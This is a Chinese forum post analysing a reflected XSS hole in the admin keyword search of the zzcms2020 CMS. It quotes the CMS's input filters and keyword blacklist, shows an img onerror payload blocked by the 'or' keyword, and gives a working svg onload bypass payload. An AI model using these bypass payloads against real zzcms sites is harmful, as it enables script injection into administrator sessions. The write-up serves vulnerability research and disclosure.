zzcms2020 xss分析

目标: zzcms2020

分析:

项目是有许多入口文件, 分析了一下防护点,位于stopsqlin.php,此处有全局过滤:

  • zzcms2020/inc/stopsqlin.php [line: 20-25 ]
if($_COOKIE){
	$_COOKIE =zc_check($_COOKIE);	
}
if($_REQUEST){
	$_POST =zc_check($_POST);
	$_GET =zc_check($_GET);
	@extract($_POST);
	@extract($_GET);	
}

在当前环境下, $_GET, $POST还被extract了一份局部变量,但是过滤之后的事情了。 可以看到此处并没有过滤$_REQUEST,找他下手。

一开始找了一处:

  • zzcms2020/reg/userregcheckemail.php [line: 14-15]
$checkcode=trim($_REQUEST["checkcode"]);
$username=nostr(trim($_REQUEST["username"]));

第一个用做逻辑判断,隐式的应该没啥用。 第二个还有一波nostr操作:

  • zzcms2020/inc/stopsqlin.php [line: 27-37]
function nostr($str){
//strip_tags($str);
	$sql_injdata = "',/,\,<,>,�,select";
    $sql_inj = explode(",",$sql_injdata);
	for ($i=0; $i< count($sql_inj);$i++){
		if (@strpos($str,$sql_inj[$i])!==false){ 
		showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
		}
	}
	return $str;//没有的返回值
}

此处过滤了一些关键逃逸符号(但好像没有过滤双引号),不知道那个问号是啥,后边还有一个select....

然后又分析了一些blablabla

在后台找到一个反射型XSS点:

  • admin/special_manage.php [line: 19]
$keyword=isset($_REQUEST["keyword"])?$_REQUEST["keyword"]:'';

从语义上也能看出,这应该是一个后台的关键字搜索功能,没有过滤。如果没有token等防护,这种后台XSS也有一定的危害性。

测试payload:

输入:http://127.0.0.1/zzcms2020/admin/special_manage.php?keyword=script

输出: 无效参数

查了一下,开头在$_SERVER['REQUEST_URI']中给ban了:

  • zzcms2020/inc/stopsqlin.php [line: 3-5]
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}

换payload:

输入: http://127.0.0.1/zzcms2020/admin/special_manage.php?keyword=a"><img src='' onerror='alert(1)'/>

输出: 参数中含有非法字符 [or] 系统不与处理

...

竟然还有一招:

zzcms2020/inc/stopsqlin.php [line: 39-53]

//过滤指定字符,
function stopsqlin($str){
//if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
	$str=strtolower($str);//否则过过滤不全
	
	$sql_injdata = "";
	$sql_injdata= $sql_injdata."|".stopwords;
	$sql_injdata=CutFenGeXian($sql_injdata,"|");
	
    $sql_inj = explode("|",$sql_injdata);
	for ($i=0; $i< count($sql_inj);$i++){
		if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
	}
//}	
}

这里边有一个叫stopwords的黑名单:

define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script') ;//网站禁用关键字

歪打正着,没想到onerror里藏着一个or...

(否则过滤不全...)

好在可以继续用on字系列...其实还是可以玩出很多花儿来的

比如payload: <svg/onload='alert(1)'/>

Ok~

  • 通过
  • 未通过

0 投票者

1 Like